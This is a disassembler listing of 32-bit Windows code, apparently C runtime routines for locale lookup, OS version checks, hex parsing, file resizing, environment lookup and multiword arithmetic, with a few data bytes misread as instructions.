or eax, 104h
mov ds:dword_4EECD8, eax
call near ptr 3D0000h
imul esp, ds:dword_4EECDC[ebx], 0ECDC0D8Bh
dec esi
add [ecx+4EECC00Dh], cl
add [ebp-3Dh], bl
; ---------------------------------------------------------------------------
db 5 dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432630 proc near ; CODE XREF: seg000:00431E08p
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_0], 0
jz short loc_43265B
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_43265B
push offset off_43AD54
mov edx, [ebp+arg_0]
push edx
call sub_41D900
add esp, 8
test eax, eax
jnz short loc_432683
loc_43265B: ; CODE XREF: sub_432630+Aj
; sub_432630+14j
push 8
lea eax, [ebp+var_8]
push eax
push 1004h
mov ecx, ds:dword_4EECDC
push ecx
call ds:dword_4EECE0
test eax, eax
jnz short loc_43267B
xor eax, eax
jmp short loc_4326C7
; ---------------------------------------------------------------------------
loc_43267B: ; CODE XREF: sub_432630+45j
lea edx, [ebp+var_8]
mov [ebp+arg_0], edx
jmp short loc_4326BB
; ---------------------------------------------------------------------------
loc_432683: ; CODE XREF: sub_432630+29j
push offset off_43AD50
mov eax, [ebp+arg_0]
push eax
call sub_41D900
add esp, 8
test eax, eax
jnz short loc_4326BB
push 8
lea ecx, [ebp+var_8]
push ecx
push 0Bh
mov edx, ds:dword_4EECDC
push edx
call ds:dword_4EECE0
test eax, eax
jnz short loc_4326B5
xor eax, eax
jmp short loc_4326C7
; ---------------------------------------------------------------------------
loc_4326B5: ; CODE XREF: sub_432630+7Fj
lea eax, [ebp+var_8]
mov [ebp+arg_0], eax
loc_4326BB: ; CODE XREF: sub_432630+51j
; sub_432630+66j
mov ecx, [ebp+arg_0]
push ecx
call sub_41D460
add esp, 4
loc_4326C7: ; CODE XREF: sub_432630+49j
; sub_432630+83j
mov esp, ebp
pop ebp
retn
sub_432630 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4326D0 proc near ; CODE XREF: sub_432030+16Ep
; sub_432550+6Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = word ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov ax, [ebp+arg_0]
mov word ptr [ebp+var_4], ax
mov [ebp+var_8], 0
jmp short loc_4326F0
; ---------------------------------------------------------------------------
loc_4326E7: ; CODE XREF: sub_4326D0:loc_432714j
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
loc_4326F0: ; CODE XREF: sub_4326D0+15j
cmp [ebp+var_8], 0Ah
jnb short loc_432716
mov edx, [ebp+var_4]
and edx, 0FFFFh
mov eax, [ebp+var_8]
xor ecx, ecx
mov cx, ds:word_450C84[eax*2]
cmp edx, ecx
jnz short loc_432714
xor eax, eax
jmp short loc_43271B
; ---------------------------------------------------------------------------
loc_432714: ; CODE XREF: sub_4326D0+3Ej
jmp short loc_4326E7
; ---------------------------------------------------------------------------
loc_432716: ; CODE XREF: sub_4326D0+24j
mov eax, 1
loc_43271B: ; CODE XREF: sub_4326D0+42j
mov esp, ebp
pop ebp
retn
sub_4326D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432720 proc near ; CODE XREF: sub_432030+260p
; sub_432030+2E6p ...
var_7C = byte ptr -7Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7Ch
push esi
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 3FFh
and eax, 0FFFFh
or ah, 4
and eax, 0FFFFh
mov [ebp+var_4], eax
push 78h
lea ecx, [ebp+var_7C]
push ecx
push 1
mov edx, [ebp+var_4]
push edx
call ds:dword_4EECE0
test eax, eax
jnz short loc_43275E
xor eax, eax
jmp short loc_4327A2
; ---------------------------------------------------------------------------
loc_43275E: ; CODE XREF: sub_432720+38j
lea eax, [ebp+var_7C]
push eax
call sub_432990
add esp, 4
cmp [ebp+arg_0], eax
jz short loc_43279D
cmp [ebp+arg_4], 0
jz short loc_43279D
mov ecx, ds:dword_4EECD0
push ecx
call sub_432A10
add esp, 4
mov esi, eax
mov edx, ds:dword_4EECD0
push edx
call sub_41AC70
add esp, 4
cmp esi, eax
jnz short loc_43279D
xor eax, eax
jmp short loc_4327A2
; ---------------------------------------------------------------------------
loc_43279D: ; CODE XREF: sub_432720+4Dj
; sub_432720+53j ...
mov eax, 1
loc_4327A2: ; CODE XREF: sub_432720+3Cj
; sub_432720+7Bj
pop esi
mov esp, ebp
pop ebp
retn
sub_432720 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4327B0 proc near ; CODE XREF: seg000:00431CEFp
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 98h
mov [ebp+var_94], 94h
lea eax, [ebp+var_94]
push eax
call ds:dword_4F1358 ; GetVersionExA
test eax, eax
jz short loc_4327E9
cmp [ebp+var_84], 2
jnz short loc_4327E9
mov [ebp+var_98], 1
jmp short loc_4327F3
; ---------------------------------------------------------------------------
loc_4327E9: ; CODE XREF: sub_4327B0+22j
; sub_4327B0+2Bj
mov [ebp+var_98], 0
loc_4327F3: ; CODE XREF: sub_4327B0+37j
mov eax, [ebp+var_98]
mov esp, ebp
pop ebp
retn
sub_4327B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432800 proc near ; DATA XREF: seg000:loc_431D02o
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
mov [ebp+var_10], 0
mov [ebp+var_4], 1Ah
mov [ebp+var_8], 0
loc_43281B: ; CODE XREF: sub_432800:loc_432963j
mov eax, [ebp+var_10]
cmp eax, [ebp+var_4]
jg loc_432968
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
cdq
sub eax, edx
sar eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
imul ecx, 2Ch
mov edx, [ebp+arg_0]
cmp edx, ds:dword_4507E0[ecx]
jnz loc_43293E
mov eax, [ebp+arg_4]
mov [ebp+var_14], eax
cmp [ebp+var_14], 0Bh
ja short loc_432877
cmp [ebp+var_14], 0Bh
jz loc_4328E9
cmp [ebp+var_14], 1
jz short loc_432894
cmp [ebp+var_14], 3
jz short loc_4328B6
cmp [ebp+var_14], 7
jz short loc_4328D8
jmp loc_432908
; ---------------------------------------------------------------------------
loc_432877: ; CODE XREF: sub_432800+54j
cmp [ebp+var_14], 1001h
jz short loc_4328A5
cmp [ebp+var_14], 1002h
jz short loc_4328C7
cmp [ebp+var_14], 1004h
jz short loc_4328FA
jmp short loc_432908
; ---------------------------------------------------------------------------
loc_432894: ; CODE XREF: sub_432800+64j
mov ecx, [ebp+var_C]
imul ecx, 2Ch
add ecx, offset a040a ; "040a"
mov [ebp+var_8], ecx
jmp short loc_432908
; ---------------------------------------------------------------------------
loc_4328A5: ; CODE XREF: sub_432800+7Ej
mov edx, [ebp+var_C]
imul edx, 2Ch
mov eax, ds:off_4507EC[edx]
mov [ebp+var_8], eax
jmp short loc_432908
; ---------------------------------------------------------------------------
loc_4328B6: ; CODE XREF: sub_432800+6Aj
mov ecx, [ebp+var_C]
imul ecx, 2Ch
add ecx, offset off_4507F0
mov [ebp+var_8], ecx
jmp short loc_432908
; ---------------------------------------------------------------------------
loc_4328C7: ; CODE XREF: sub_432800+87j
mov edx, [ebp+var_C]
imul edx, 2Ch
mov eax, ds:off_4507F4[edx]
mov [ebp+var_8], eax
jmp short loc_432908
; ---------------------------------------------------------------------------
loc_4328D8: ; CODE XREF: sub_432800+70j
mov ecx, [ebp+var_C]
imul ecx, 2Ch
add ecx, offset off_4507F8
mov [ebp+var_8], ecx
jmp short loc_432908
; ---------------------------------------------------------------------------
loc_4328E9: ; CODE XREF: sub_432800+5Aj
mov edx, [ebp+var_C]
imul edx, 2Ch
add edx, offset dword_4507FC
mov [ebp+var_8], edx
jmp short loc_432908
; ---------------------------------------------------------------------------
loc_4328FA: ; CODE XREF: sub_432800+90j
mov eax, [ebp+var_C]
imul eax, 2Ch
add eax, offset a1252 ; "1252"
mov [ebp+var_8], eax
loc_432908: ; CODE XREF: sub_432800+72j
; sub_432800+92j ...
cmp [ebp+var_8], 0
jz short loc_432914
cmp [ebp+arg_C], 1
jge short loc_432916
loc_432914: ; CODE XREF: sub_432800+10Cj
jmp short loc_432968
; ---------------------------------------------------------------------------
loc_432916: ; CODE XREF: sub_432800+112j
mov ecx, [ebp+arg_C]
sub ecx, 1
push ecx
mov edx, [ebp+var_8]
push edx
mov eax, [ebp+arg_8]
push eax
call sub_41D800
add esp, 0Ch
mov ecx, [ebp+arg_8]
add ecx, [ebp+arg_C]
mov byte ptr [ecx-1], 0
mov eax, 1
jmp short loc_43297E
; ---------------------------------------------------------------------------
loc_43293E: ; CODE XREF: sub_432800+44j
mov edx, [ebp+var_C]
imul edx, 2Ch
mov eax, [ebp+arg_0]
cmp eax, ds:dword_4507E0[edx]
jnb short loc_43295A
mov ecx, [ebp+var_C]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_432963
; ---------------------------------------------------------------------------
loc_43295A: ; CODE XREF: sub_432800+14Dj
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_10], edx
loc_432963: ; CODE XREF: sub_432800+158j
jmp loc_43281B
; ---------------------------------------------------------------------------
loc_432968: ; CODE XREF: sub_432800+21j
; sub_432800:loc_432914j
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F1354 ; GetLocaleInfoA
loc_43297E: ; CODE XREF: sub_432800+13Cj
mov esp, ebp
pop ebp
retn 10h
sub_432800 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432990 proc near ; CODE XREF: sub_432030+Ap
; sub_4323E0+Ap ...
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], 0
loc_43299D: ; CODE XREF: sub_432990+6Dj
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [ebp+var_8], cl
movsx edx, [ebp+var_8]
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
test edx, edx
jz short loc_4329FF
movsx ecx, [ebp+var_8]
cmp ecx, 61h
jl short loc_4329D2
movsx edx, [ebp+var_8]
cmp edx, 66h
jg short loc_4329D2
mov al, [ebp+var_8]
add al, 0D9h
mov [ebp+var_8], al
jmp short loc_4329EC
; ---------------------------------------------------------------------------
loc_4329D2: ; CODE XREF: sub_432990+2Dj
; sub_432990+36j
movsx ecx, [ebp+var_8]
cmp ecx, 41h
jl short loc_4329EC
movsx edx, [ebp+var_8]
cmp edx, 46h
jg short loc_4329EC
mov al, [ebp+var_8]
add al, 0F9h
mov [ebp+var_8], al
loc_4329EC: ; CODE XREF: sub_432990+40j
; sub_432990+49j ...
mov ecx, [ebp+var_4]
shl ecx, 4
movsx edx, [ebp+var_8]
lea eax, [ecx+edx-30h]
mov [ebp+var_4], eax
jmp short loc_43299D
; ---------------------------------------------------------------------------
loc_4329FF: ; CODE XREF: sub_432990+24j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_432990 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432A10 proc near ; CODE XREF: sub_431F70+60p
; sub_432360+39p ...
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [ebp+var_4], cl
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
loc_432A2E: ; CODE XREF: sub_432A10+5Cj
movsx eax, [ebp+var_4]
cmp eax, 41h
jl short loc_432A40
movsx ecx, [ebp+var_4]
cmp ecx, 5Ah
jle short loc_432A52
loc_432A40: ; CODE XREF: sub_432A10+25j
movsx edx, [ebp+var_4]
cmp edx, 61h
jl short loc_432A6E
movsx eax, [ebp+var_4]
cmp eax, 7Ah
jg short loc_432A6E
loc_432A52: ; CODE XREF: sub_432A10+2Ej
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ebp+var_4], al
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
jmp short loc_432A2E
; ---------------------------------------------------------------------------
loc_432A6E: ; CODE XREF: sub_432A10+37j
; sub_432A10+40j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_432A10 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 0
mov eax, [ebp+8]
push eax
call sub_432C00
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 3
push 0
mov eax, [ebp+8]
push eax
call sub_432C00
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 2
push 0
mov eax, [ebp+8]
push eax
call sub_432C00
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 107h
mov eax, [ebp+8]
push eax
call sub_432C00
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 103h
mov eax, [ebp+8]
push eax
call sub_432C00
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 3
push 117h
mov eax, [ebp+8]
push eax
call sub_432C00
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 3
push 157h
mov eax, [ebp+8]
push eax
call sub_432C00
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 2
push 10h
mov eax, [ebp+8]
push eax
call sub_432C00
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432B80 proc near ; CODE XREF: sub_42C0C0+4Ep
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 4
push 0
mov eax, [ebp+arg_0]
push eax
call sub_432C00
add esp, 0Ch
pop ebp
retn
sub_432B80 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 8
push 0
mov eax, [ebp+8]
push eax
call sub_432C00
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp ds:dword_4EEE24, 3A4h
jnz short loc_432BED
push 3
push 0
mov eax, [ebp+8]
push eax
call sub_432C00
add esp, 0Ch
test eax, eax
jz short loc_432BED
mov dword ptr [ebp-4], 1
jmp short loc_432BF4
; ---------------------------------------------------------------------------
loc_432BED: ; CODE XREF: seg000:00432BCEj
; seg000:00432BE2j
mov dword ptr [ebp-4], 0
loc_432BF4: ; CODE XREF: seg000:00432BEBj
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432C00 proc near ; CODE XREF: seg000:00432A8Bp
; seg000:00432AABp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
and eax, 0FFh
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor edx, edx
mov dl, ds:byte_4EEF41[ecx]
and edx, [ebp+arg_8]
test edx, edx
jnz short loc_432C54
cmp [ebp+arg_4], 0
jz short loc_432C3E
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, ds:word_44FE36[eax*2]
and ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
jmp short loc_432C45
; ---------------------------------------------------------------------------
loc_432C3E: ; CODE XREF: sub_432C00+27j
mov [ebp+var_4], 0
loc_432C45: ; CODE XREF: sub_432C00+3Cj
cmp [ebp+var_4], 0
jnz short loc_432C54
mov [ebp+var_8], 0
jmp short loc_432C5B
; ---------------------------------------------------------------------------
loc_432C54: ; CODE XREF: sub_432C00+21j
; sub_432C00+49j
mov [ebp+var_8], 1
loc_432C5B: ; CODE XREF: sub_432C00+52j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_432C00 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
cmp eax, ds:dword_4EEE20
jnb short loc_432CA1
mov ecx, [ebp+8]
sar ecx, 5
mov edx, [ebp+8]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4EED20[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_432CB1
loc_432CA1: ; CODE XREF: seg000:00432C7Dj
call sub_4267E0
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_432CDF
; ---------------------------------------------------------------------------
loc_432CB1: ; CODE XREF: seg000:00432C9Fj
mov edx, [ebp+8]
push edx
call sub_42DB90
add esp, 4
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_432CF0
add esp, 8
mov [ebp-4], eax
mov edx, [ebp+8]
push edx
call sub_42DC20
add esp, 4
mov eax, [ebp-4]
loc_432CDF: ; CODE XREF: seg000:00432CAFj
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432CF0 proc near ; CODE XREF: sub_42E310+44Cp
; seg000:00432CC5p
var_1024 = dword ptr -1024h
var_1020 = dword ptr -1020h
var_101C = dword ptr -101Ch
var_1018 = dword ptr -1018h
var_1014 = dword ptr -1014h
var_1010 = dword ptr -1010h
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1004 = byte ptr -1004h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1024h
call sub_41DEB0
push ebx
push esi
push edi
lea eax, [ebp+var_1004]
mov [ebp+var_1014], eax
mov [ebp+var_101C], 0
loc_432D16: ; CODE XREF: sub_432CF0+51j
cmp [ebp+arg_4], 0
jge short loc_432D3D
push offset dword_43AD64
push 0
push 81h
push offset dword_43AD58
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_432D3D
int 3 ; Trap to Debugger
loc_432D3D: ; CODE XREF: sub_432CF0+2Aj
; sub_432CF0+4Aj
xor ecx, ecx
test ecx, ecx
jnz short loc_432D16
push 1
push 0
mov edx, [ebp+arg_0]
push edx
call sub_42B770
add esp, 0Ch
mov [ebp+var_100C], eax
cmp [ebp+var_100C], 0FFFFFFFFh
jz short loc_432D81
push 2
push 0
mov eax, [ebp+arg_0]
push eax
call sub_42B770
add esp, 0Ch
mov [ebp+var_1010], eax
cmp [ebp+var_1010], 0FFFFFFFFh
jnz short loc_432D89
loc_432D81: ; CODE XREF: sub_432CF0+70j
or eax, 0FFFFFFFFh
jmp loc_432F19
; ---------------------------------------------------------------------------
loc_432D89: ; CODE XREF: sub_432CF0+8Fj
mov ecx, [ebp+arg_4]
sub ecx, [ebp+var_1010]
mov [ebp+var_1018], ecx
cmp [ebp+var_1018], 0
jle loc_432EA0
push 1000h
push 0
mov edx, [ebp+var_1014]
push edx
call sub_41D100
add esp, 0Ch
push 8000h
mov eax, [ebp+arg_0]
push eax
call sub_435FA0
add esp, 8
mov [ebp+var_4], eax
loc_432DCF: ; CODE XREF: sub_432CF0+198j
cmp [ebp+var_1018], 1000h
jl short loc_432DE7
mov [ebp+var_1020], 1000h
jmp short loc_432DF3
; ---------------------------------------------------------------------------
loc_432DE7: ; CODE XREF: sub_432CF0+E9j
mov ecx, [ebp+var_1018]
mov [ebp+var_1020], ecx
loc_432DF3: ; CODE XREF: sub_432CF0+F5j
mov edx, [ebp+var_1020]
mov [ebp+var_1008], edx
cmp [ebp+var_1018], 1000h
jl short loc_432E17
mov [ebp+var_1024], 1000h
jmp short loc_432E23
; ---------------------------------------------------------------------------
loc_432E17: ; CODE XREF: sub_432CF0+119j
mov eax, [ebp+var_1018]
mov [ebp+var_1024], eax
loc_432E23: ; CODE XREF: sub_432CF0+125j
mov ecx, [ebp+var_1024]
push ecx
mov edx, [ebp+var_1014]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42DDC0
add esp, 0Ch
mov [ebp+var_1008], eax
cmp [ebp+var_1008], 0FFFFFFFFh
jnz short loc_432E6F
call sub_4267F0
cmp dword ptr [eax], 5
jnz short loc_432E61
call sub_4267E0
mov dword ptr [eax], 0Dh
loc_432E61: ; CODE XREF: sub_432CF0+164j
mov ecx, [ebp+var_1008]
mov [ebp+var_101C], ecx
jmp short loc_432E8E
; ---------------------------------------------------------------------------
loc_432E6F: ; CODE XREF: sub_432CF0+15Aj
mov edx, [ebp+var_1018]
sub edx, [ebp+var_1008]
mov [ebp+var_1018], edx
cmp [ebp+var_1018], 0
jg loc_432DCF
loc_432E8E: ; CODE XREF: sub_432CF0+17Dj
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_435FA0
add esp, 8
jmp short loc_432EFE
; ---------------------------------------------------------------------------
loc_432EA0: ; CODE XREF: sub_432CF0+AFj
cmp [ebp+var_1018], 0
jge short loc_432EFE
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42B770
add esp, 0Ch
mov ecx, [ebp+arg_0]
push ecx
call sub_42DA10
add esp, 4
push eax
call near ptr 3D0000h
call far ptr 0D8F7h:0C01BD8F7h
dec eax
mov [ebp+var_101C], eax
cmp [ebp+var_101C], 0FFFFFFFFh
jnz short loc_432EFE
call sub_4267E0
mov dword ptr [eax], 0Dh
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov esi, eax
call sub_4267F0
mov [eax], esi
loc_432EFE: ; CODE XREF: sub_432CF0+1AEj
; sub_432CF0+1B7j ...
push 0
mov edx, [ebp+var_100C]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42B770
add esp, 0Ch
mov eax, [ebp+var_101C]
loc_432F19: ; CODE XREF: sub_432CF0+94j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_432CF0 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push 0Ch
call sub_421A80
add esp, 4
mov eax, [ebp+8]
push eax
call sub_432F50
add esp, 4
mov [ebp-4], eax
push 0Ch
call sub_421B20
add esp, 4
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432F50 proc near ; CODE XREF: seg000:0042EE1Ap
; seg000:00432F32p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, ds:dword_4EE988
mov [ebp+var_8], eax
cmp ds:dword_4F0084, 0
jnz short loc_432F6E
xor eax, eax
jmp loc_433012
; ---------------------------------------------------------------------------
loc_432F6E: ; CODE XREF: sub_432F50+15j
cmp [ebp+var_8], 0
jnz short loc_432F96
cmp ds:dword_4EE990, 0
jz short loc_432F96
call sub_4360C0
test eax, eax
jz short loc_432F8D
xor eax, eax
jmp loc_433012
; ---------------------------------------------------------------------------
loc_432F8D: ; CODE XREF: sub_432F50+34j
mov ecx, ds:dword_4EE988
mov [ebp+var_8], ecx
loc_432F96: ; CODE XREF: sub_432F50+22j
; sub_432F50+2Bj
cmp [ebp+var_8], 0
jz short loc_433010
cmp [ebp+arg_0], 0
jz short loc_433010
mov edx, [ebp+arg_0]
push edx
call sub_41AC70
add esp, 4
mov [ebp+var_4], eax
loc_432FB1: ; CODE XREF: sub_432F50+BEj
mov eax, [ebp+var_8]
cmp dword ptr [eax], 0
jz short loc_433010
mov ecx, [ebp+var_8]
mov edx, [ecx]
push edx
call sub_41AC70
add esp, 4
cmp eax, [ebp+var_4]
jbe short loc_433005
mov eax, [ebp+var_8]
mov ecx, [eax]
mov edx, [ebp+var_4]
movsx eax, byte ptr [ecx+edx]
cmp eax, 3Dh
jnz short loc_433005
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_8]
mov ecx, [eax]
push ecx
call sub_436070
add esp, 0Ch
test eax, eax
jnz short loc_433005
mov edx, [ebp+var_8]
mov eax, [edx]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx+1]
jmp short loc_433012
; ---------------------------------------------------------------------------
loc_433005: ; CODE XREF: sub_432F50+7Aj
; sub_432F50+8Bj ...
mov edx, [ebp+var_8]
add edx, 4
mov [ebp+var_8], edx
jmp short loc_432FB1
; ---------------------------------------------------------------------------
loc_433010: ; CODE XREF: sub_432F50+4Aj
; sub_432F50+50j ...
xor eax, eax
loc_433012: ; CODE XREF: sub_432F50+19j
; sub_432F50+38j ...
mov esp, ebp
pop ebp
retn
sub_432F50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433020 proc near ; CODE XREF: sub_42FC00+53p
; sub_42FC00+94p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
mov eax, [ebp+arg_0]
add eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
cmp ecx, [ebp+arg_0]
jb short loc_433046
mov edx, [ebp+var_4]
cmp edx, [ebp+arg_4]
jnb short loc_43304F
loc_433046: ; CODE XREF: sub_433020+1Cj
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_43304F: ; CODE XREF: sub_433020+24j
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_433020 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433060 proc near ; CODE XREF: sub_4331E0+77p
; sub_4331E0+AAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_433020
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_4330B7
mov edx, [ebp+arg_0]
add edx, 4
push edx
push 1
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
call sub_433020
add esp, 0Ch
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_4330B7
mov edx, [ebp+arg_0]
mov eax, [edx+8]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
loc_4330B7: ; CODE XREF: sub_433060+25j
; sub_433060+46j
mov edx, [ebp+arg_0]
add edx, 4
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
push eax
call sub_433020
add esp, 0Ch
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_4330EC
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
loc_4330EC: ; CODE XREF: sub_433060+7Bj
mov ecx, [ebp+arg_0]
add ecx, 8
push ecx
mov edx, [ebp+arg_4]
mov eax, [edx+8]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
push edx
call sub_433020
add esp, 0Ch
mov esp, ebp
pop ebp
retn
sub_433060 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433110 proc near ; CODE XREF: sub_4331E0+5Bp
; sub_4331E0+67p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 80000000h
neg ecx
sbb ecx, ecx
neg ecx
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
and eax, 80000000h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
shl edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
shl edx, 1
or edx, [ebp+var_4]
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
shl edx, 1
or edx, [ebp+var_8]
